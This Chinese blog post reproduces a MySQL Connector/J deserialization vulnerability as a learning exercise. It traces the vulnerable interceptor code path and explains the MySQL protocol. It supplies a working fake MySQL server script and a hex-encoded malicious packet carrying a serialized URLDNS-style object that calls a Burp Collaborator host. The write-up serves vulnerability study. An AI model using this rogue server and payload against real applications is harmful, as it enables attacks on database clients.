MySQL反序列化学习

admin 2024年1月7日17:02:51评论22 views字数 10249阅读34分9秒阅读模式

0x01 前言

脚蹬麻袋!又菜又爱玩的java小菜又来了,今天给大家带来的是本人复现mysql反序列化漏洞的学习过程,留作日后学习笔记,与君共勉。本篇文章可能又臭又长,可以按需食用。

0x02 漏洞分析

01 环境搭建

不管任何漏洞复现,第一步必然是搭建环境,本次也不例外,咱们先把环境搞起来。

先新建一个空的maven项目,然后pom.xml写入如下依赖。

<dependencies>        <dependency>            <groupId>mysql</groupId>            <artifactId>mysql-connector-java</artifactId>            <version>8.0.11</version>        </dependency>    </dependencies>

然后再写一个java测试类

package com.test;
import java.sql.*;import java.util.HashMap;import java.util.Map;
/** queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true* */public class MysqlTest { public static String user; public static String password; public static Connection conn;
static{ try { Class.forName("com.mysql.cj.jdbc.Driver"); System.out.println("加载数据库驱动完成"); } catch (ClassNotFoundException e) { e.printStackTrace(); }
user = "root"; password = "root"; try { conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=gbk&serverTimezone=UTC&useSSL=false&autoDeserialize=true", user, password); System.out.println("数据库连接成功"); } catch (SQLException throwables) { throwables.printStackTrace(); } }
public static void main(String[] args) { String sql = "select name from user where name='haha'"; String sql3 = "select binary_data from mytable"; String sql2 = "SHOW SESSION STATUS"; Map<String, String> toPopulate = new HashMap<>(); try { Statement stat = conn.createStatement(); ResultSet resultSet = stat.executeQuery(sql2); resultSet.next(); Object string = resultSet.getObject(1); System.out.println(string); } catch (SQLException throwables) { throwables.printStackTrace(); } }}


第一步环境到这里就大功告成了!

02 如何发现漏洞

我们再来说说该类型漏洞要如何挖掘,当然不是本人发现的,只是基于已知漏洞提出一种挖掘思路。

首先我们找到8.0.11版本mysql的jar包,使用jd-gui打开

MySQL反序列化学习

然后全局搜索readObject

MySQL反序列化学习

可以看到出现了两个符合条件的类,我们分别进去看一看

com.mysql.cj.jdbc.util.ResultSetUtil#readObject

MySQL反序列化学习

com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)

MySQL反序列化学习

对比看下来,很显然第二处更像是一个合格的反序列化漏洞,将data作为输入流,最后进行反序列化,data怎么来的我们现在不要纠结,后面会分析。

接下来,我们就要看看这个点是否可以为我们所用,全局搜索getObject

MySQL反序列化学习

在com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)方法中,我们看到调用了com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)

因为ResultSetImpl实现了ResultSet接口

MySQL反序列化学习

再继续往下追,看看哪里调用了com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)方法

MySQL反序列化学习

随后在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues方法处被调用

按照前面的思路,继续搜索populateMapWithSessionStatusValues方法

MySQL反序列化学习

发现在以下两个方法中调用了populateMapWithSessionStatusValues,分别是com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#postProcess和com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess

再往下追的话,就会追到com.mysql.cj.interceptors.QueryInterceptor

MySQL反序列化学习

可以看到已经到接口了,这时候很多人可能就会卡壳了,也包括我😄。

这也是很多逆向追踪的弊端,那就是对程序本身并不了解,期望通过污染点回溯,就能rce。从现在安全角度来看,不太现实了,程序只会越做越安全,捡洞的现象不常见了。

03 卡壳,如何破局?

答案就是翻阅官方文档或查找资料,看看这个接口是做什么用的。

这里QueryInterceptor 接口供我们对 SQL 请求进行拦截处理,preProcess方法在查询sql执行前被调用,postProcess在查询sql返回结果后被调用。

其执行流程图如下

MySQL反序列化学习

知道了其作用,就要了解如何才能触发该拦截器了。

这里的话可以在建立SQL连接的时候,加上?queryInterceptors=xxxxInterceptor

这里我也是写了一个demo帮助大家更好的理解

package com.test;
import com.mysql.cj.MysqlConnection;import com.mysql.cj.Query;import com.mysql.cj.interceptors.QueryInterceptor;import com.mysql.cj.jdbc.JdbcConnection;import com.mysql.cj.log.Log;import com.mysql.cj.protocol.Resultset;import com.mysql.cj.protocol.ServerSession;
import java.util.Properties;import java.util.function.Supplier;
public class DemoInterceptor implements QueryInterceptor {
public JdbcConnection connection;
public QueryInterceptor init(MysqlConnection mysqlConnection, Properties properties, Log log) { this.connection = (JdbcConnection)mysqlConnection; return this; }
public <T extends Resultset> T preProcess(Supplier<String> supplier, Query query) { System.out.println("查询前被调用"); return null; }
public boolean executeTopLevelOnly() { return false; }
public void destroy() {
}
public <T extends Resultset> T postProcess(Supplier<String> supplier, Query query, T t, ServerSession serverSession) { System.out.println("查询后被调用"); return null; }}

修改jdbc连接字符串

jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=gbk&serverTimezone=UTC&useSSL=false&autoDeserialize=true&queryInterceptors=com.test.DemoInterceptor

然后运行sql查询语句

MySQL反序列化学习

可以看到拦截器成功运转起来了。

至此,从发现漏洞点,到回溯漏洞点,以及最后的触发漏洞点已经完整梳理好了。

但是否能称之为一个漏洞,还要看data是否为用户可控,如果不可控,那么就是白搭。回到com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)

MySQL反序列化学习

从这里可以看到,data其实就是查询结果的值,也就是数据库列的值,很显然是我们可控的,到这里我们可以称之为一个反序列化漏洞。

04 构造和复现

想要构造poc并且复现该漏洞,那么就需要看看如何满足触发条件,细细看来。

反序列化的点一共有两处,第一处当case BIT满足之后,进入代码块

MySQL反序列化学习

MySQL反序列化学习

第二处,当case BLOB满足之后,进入代码块

MySQL反序列化学习

这里的BIT和BLOB是mysql字段类型,取值分别如下

字段类型

数字编号

MYSQL_TYPE_BIT

16

MYSQL_TYPE_BLOB

252

MYSQL_TYPE_DATE

10

MYSQL_TYPE_DATETIME

12

MYSQL_TYPE_DECIMAL

0

MYSQL_TYPE_DOUBLE

5

MYSQL_TYPE_ENUM

247

MYSQL_TYPE_FLOAT

4

MYSQL_TYPE_GEOMETRY

255

MYSQL_TYPE_INT24

9

MYSQL_TYPE_LONG

3

MYSQL_TYPE_LONGLONG

8

MYSQL_TYPE_LONG_BLOB

251

MYSQL_TYPE_MEDIUM_BLOB

250

MYSQL_TYPE_NEWDATE

14

MYSQL_TYPE_NEWDECIMAL

246

MYSQL_TYPE_NULL

6

MYSQL_TYPE_SET

248

MYSQL_TYPE_SHORT

2

MYSQL_TYPE_STRING

254

MYSQL_TYPE_TIME

11

MYSQL_TYPE_TIMESTAMP

7

MYSQL_TYPE_TINY

1

MYSQL_TYPE_TINY_BLOB

249

MYSQL_TYPE_VARCHAR

15

MYSQL_TYPE_VAR_STRING

253

不论是第一处还是第二处,都可以看到一段代码

 if (!(Boolean)this.connection.getPropertySet().getBooleanReadableProperty("autoDeserialize").getValue()) {    return data;}

这个条件如果不满足的话,那么就不会进入下面的反序列化,而是会直接返回结果值。所以我们需要让autoDeserialize的值为true,这也就解释了复现payload为什要有autoDeserialize=true这个参数了。

再往下可以看到如下判断

if (data[0] != -84 || data[1] != -19) {    return this.getString(columnIndex);}


如果byte数组第一个字节不为-84,第二个字节不为-19,那么就会直接返回字符串内容,不反序列化。

-84,-19是什么,看两张图就一目了然了

MySQL反序列化学习

MySQL反序列化学习

ac ed就是反序列化经典的开场白。

到这里我们就知道了,其实data就是一个序列化后的byte数组,将其存入mysql,随后读取出来即可满足条件。

知道如何满足条件之后,就该了解一下data从哪来了,回到com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues

MySQL反序列化学习

data来自show session status查询后的结果,正常情况下其值如下

MySQL反序列化学习

再看看rs.getObject(1)获取的结果是什么

MySQL反序列化学习

到这里,大家能想到如何触发漏洞了吗?思考一分钟。。。

这里我说一下我的想法,那就是wireshark抓取返回结果数据包,然后替换成恶意序列化数据,最后进入getObject方法触发漏洞。

想法是美好的,但又要花费一点时间学习一下基础的mysql协议,是的,mysql协议他来了。。。

05 小插曲,mysql协议

MySQL客户端与服务器的交互主要分为两个阶段:握手认证阶段和命令执行阶段。

握手认证阶段为客户端与服务器建立连接后进行,交互过程如下:

  • 服务器 -> 客户端:握手初始化消息

  • 客户端 -> 服务器:登陆认证消息

  • 服务器 -> 客户端:认证结果消息

客户端认证成功后,会进入命令执行阶段,交互过程如下:

  • 客户端 -> 服务器:执行命令消息

  • 服务器 -> 客户端:命令执行结果

示意图如下

MySQL反序列化学习

这么说可能会有点枯燥难懂,我们实战抓包来看一下

握手阶段,服务器会发送一个握手初始化消息

MySQL反序列化学习

收到握手初始化信息后,客户端会发起一个登录认证请求

MySQL反序列化学习

账号密码正确的话,服务端就会返回认证成功

MySQL反序列化学习

认证成功之后,客户端就要开始发送查询请求了

MySQL反序列化学习

查询成功后,服务端返回查询结果

MySQL反序列化学习

至此,完整的交互过程结束。

我们重点要关注的就是返回结果数据包,不过在此之前我们得先伪造一个mysql服务端,和客户端建立连接,只要模拟上面的认证流程即可,脚本如下

import socketimport timeimport struct
test_packet = b'x4ax00x00x00x0ax35x2ex37x2ex32x36x00x08x00x00x00x21x7ex5ax16x0cx5dx20x65x00xffxf7xc0x02x00xffx81x15x00x00x00x00x00x00x00x00x00x00x7ax72x06x25x3ax38x4dx4fx3bx37x3dx29x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00'success = b'x07x00x00x02x00x00x00x02x00x00x00'response_ok = b'x07x00x00x01x00x00x00x02x00x00x00'

socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket_server.bind(('0.0.0.0', 3306))socket_server.listen()
conn,addr = socket_server.accept()conn.send(test_packet)AUTH_PACK = conn.recv(1024)conn.send(success)request = conn.recv(1024)print(request)
while True: conn.send(response_ok) print("again") res1 = conn.recv(1024) if "SHOW SESSION STATUS" in res1.decode(): print("res1 : " + res1.decode()) #conn.send(res_session2) elif "select user from" in res1.decode(): print("res1 : " + res1.decode()) #conn.send(eval_res2) elif "select binary_data from" in res1.decode(): print("res1: " + res1.decode()) #conn.send(eval_res2) conn.close()

脚本有点简陋,凑合着看看。

这里主要是模拟了认证流程,将握手初始化消息包和认证成功数据包copy了下来,然后模拟发送数据包即可

copy方式也很简单,wireshark选中对应的数据包,选择以下选项即可

MySQL反序列化学习

随后,你就会得到如下一串字符

MySQL反序列化学习

处理一下就可以直接拿来用了。

简易的mysql服务端有了,交互也有了,下面就是本篇文章的重点了,如何构造恶意数据包。

这里我建议初学者,不熟悉mysql协议的话,还是先正向,再逆向。什么意思呢?就是先正常触发一次漏洞,将其数据包抓起来,然后进行分析和改造。不然的话会踩很多坑,相信我!

当然如果想硬刚的,可以跳过下面的内容,直接去分析构造数据包了。

如何正常触发漏洞呢,其实也很简单,我们新建一个表如下

CREATE TABLE mytable (    id INT PRIMARY KEY,    binary_data BLOB);

随后将我们生成的恶意序列化数据写入binary_data字段

import mysql.connector
cnx = mysql.connector.connect(user='root', password='root', host='127.0.0.1', database='test')
# 读取二进制文件内容with open("/eval.ser", "rb") as f: blob_data = f.read() print(blob_data)
# 插入 BLOB 数据query = "INSERT INTO mytable (binary_data) VALUES (%s)"cursor = cnx.cursor()cursor.execute(query, (blob_data,))cnx.commit()
# 关闭数据库连接cursor.close()cnx.close()


写入之后就可以编写查询语句,手动触发了

String sql = "select binary_data from mytable";Statement stat = conn.createStatement();ResultSet resultSet = stat.executeQuery(sql);resultSet.next();Object string = resultSet.getObject(1);System.out.println(string);


效果如下

MySQL反序列化学习

MySQL反序列化学习

查看抓包结果

MySQL反序列化学习

可以看到response被分为了四个协议包,第二个中包含字段类型,也就是为了满足前面case BLOB的条件

MySQL反序列化学习

第三个包中是序列化的内容

MySQL反序列化学习

最后第四个包是结尾,表示本次请求结束

MySQL反序列化学习

如果要构造自定义数据包还需要了解一个知识点,那就是小端存储

小端存储(Little-endian)是一种计算机数据存储方式,其中低位字节(即数值中的最后一个字节)存储在内存地址的最前面,而高位字节(即数值中的第一个字节)存储在内存地址的最后面。

例如,以十六进制表示的整数 0x12345678 在小端存储中被存储为 0x78 0x56 0x34 0x12。

了解完小端存储后,我们来说一下需要做哪些事情。

首先第一、二、四的mysql协议包我们需要原封不动的copy出来

MySQL反序列化学习

我们唯一要修改的就是第三个包

MySQL反序列化学习

前四个字节为一个整体,后三个字节为一个整体,且听我细细道来。

首先我们前面看到第三个包的长度为356,我们将其转换成十六进制是多少呢

MySQL反序列化学习

可以看到是0x164,回到我们前面说的小端存储,那么就应该变成0x64 0x01,这个时候是不是突然就茅塞顿开了。

这里356表示的是除去前四个字节以外剩下的总长度。

再来说说后三个字节表示什么意思,xfc其实和后面两个16进制字符有着强关联,当为xfc时,才会对后面两个字符进行还原,其实也是小端存储,161

MySQL反序列化学习

表示除去xfcx61x01三个字符后,序列化数据的总长度,有点像套娃,x64x01x00x03字符记录的是加上三个字符后的总长度。

长度如果搞不清楚,那么构造数据包就很容易出错导致无法触发。

说完了以上知识点之后,最终payload构造如下

x01x00x00x01x01x3ex00x00x02x03x64x65x66x04x74x65x73x74x07x6dx79x74x61x62x6cx65x07x6dx79x74x61x62x6cx65x0bx62x69x6ex61x72x79x5fx64x61x74x61x0bx62x69x6ex61x72x79x5fx64x61x74x61x0cx3fx00xffxffx00x00xfcx91x10x00x00x00x64x01x00x03xfcx61x01xacxedx00x05x73x72x00x11x6ax61x76x61x2ex75x74x69x6cx2ex48x61x73x68x4dx61x70x05x07xdaxc1xc3x16x60xd1x03x00x02x46x00x0ax6cx6fx61x64x46x61x63x74x6fx72x49x00x09x74x68x72x65x73x68x6fx6cx64x78x70x3fx40x00x00x00x00x00x0cx77x08x00x00x00x10x00x00x00x01x73x72x00x0cx6ax61x76x61x2ex6ex65x74x2ex55x52x4cx96x25x37x36x1axfcxe4x72x03x00x07x49x00x08x68x61x73x68x43x6fx64x65x49x00x04x70x6fx72x74x4cx00x09x61x75x74x68x6fx72x69x74x79x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x04x66x69x6cx65x71x00x7ex00x03x4cx00x04x68x6fx73x74x71x00x7ex00x03x4cx00x08x70x72x6fx74x6fx63x6fx6cx71x00x7ex00x03x4cx00x03x72x65x66x71x00x7ex00x03x78x70xffxffxffxffxffxffxffxffx74x00x33x7ax77x7ax30x6ax38x37x72x34x7ax79x63x62x77x75x35x68x70x79x6ex76x62x30x64x79x34x34x75x73x6ax2ex62x75x72x70x63x6fx6cx6cx61x62x6fx72x61x74x6fx72x2ex6ex65x74x74x00x00x71x00x7ex00x05x74x00x04x68x74x74x70x70x78x74x00x3ax68x74x74x70x3ax2fx2fx7ax77x7ax30x6ax38x37x72x34x7ax79x63x62x77x75x35x68x70x79x6ex76x62x30x64x79x34x34x75x73x6ax2ex62x75x72x70x63x6fx6cx6cx61x62x6fx72x61x74x6fx72x2ex6ex65x74x78x07x00x00x04xfex00x00x02x00x00x00

随后使用伪造mysql服务端发送该数据包即可触发

MySQL反序列化学习

起一个python服务

MySQL反序列化学习

客户端发起请求

MySQL反序列化学习

好啦!如果你看到这里,那么恭喜你,已经掌握了漏洞复现以及基础的mysql协议了,为自己鼓鼓掌吧!

0x03 总结

本漏洞虽然基础,但是想要搞懂其中所有环节,还是需要花费一些时间,希望大家看完能有所收获,下次再见。

0x04 参考文章

MySQL协议分析

https://www.cnblogs.com/davygeek/p/5647175.html

实现自己的数据库驱动

https://callmejiagu.github.io/categories/%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%B7%B1%E7%9A%84%E6%95%B0%E6%8D%AE%E5%BA%93%E9%A9%B1%E5%8A%A8/

原文始发于微信公众号(伟盾网络安全):MySQL反序列化学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月7日17:02:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MySQL反序列化学习https://cn-sec.com/archives/2371129.html

发表评论

匿名网友 填写信息